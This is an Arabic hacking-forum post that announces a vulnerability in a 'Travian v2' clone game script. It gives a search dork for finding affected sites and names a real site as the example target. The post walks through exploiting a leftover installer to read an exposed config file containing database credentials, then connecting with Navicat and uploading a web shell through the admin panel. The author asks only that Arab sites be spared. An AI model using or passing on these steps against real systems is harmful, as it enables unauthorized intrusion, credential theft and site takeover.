عوده بقوه ~ ثغرة بسكربت ترافيان المطور

[PRO-MAN]

بسم الله الرحمن الرحيمـ
السلام عليكم ورحمة الله وبركاته

..
..
..

بعد ركود طويل عن الهكر قلت لا ترجع الا بيدك شي حلو
وبعد البحث والتدقيق لقيت ثغرة بسكربت
( ترافيان v2 المطور ) << اخر نسخه مو عاقل الولد خخخ
..
..
..

يلا نبدء على بكرة الله

الدورك :

كود:
"© 2004 - 2010 Travian Clone Games Rev 3.0"طبعا المواقع المصابه بالهبل سواء ( مواقع اجنبيه و عربيه )
اتمنى عدم استهداف العرب

ناخذ مثال على موقع اجنبي

www.lagronsinc.com/kingdoms

السكربت في مجلد kingdoms

الأن الاستغلال


كود:
install_v2/?s=4الاستغلال كامل

www.lagronsinc.com/kingdoms/install_v2/?s=4

اذا ظهرت لك الصفحه تمام واذا ما ظهرت معناه مرقعه

الأن روح المسار التالي


كود:
/install_v2/include/constant.phpsيصير الرابط في الاخير كذا

http://www.lagronsinc.com/kingdoms/i.../constant.phps

وش تشوف ؟!


//SQL Server Defination
define("SQL_SERVER", "localhost");
define("SQL_USER", "user_xxxxxxx");
define("SQL_PASS", "xxxxxxxx");
define("SQL_DB", "db_xxxxxxxx");
define("TB_PREFIX", "s1_");
define("DB_TYPE", 0); // 0 = MYSQL, 1 = MYSQLi



كل الي عليك انك تستعمل اي برنامج اتصال بالقاعده
مثل برنامج : navicat
وترفع شل من اللوحه
Admin/Admin.php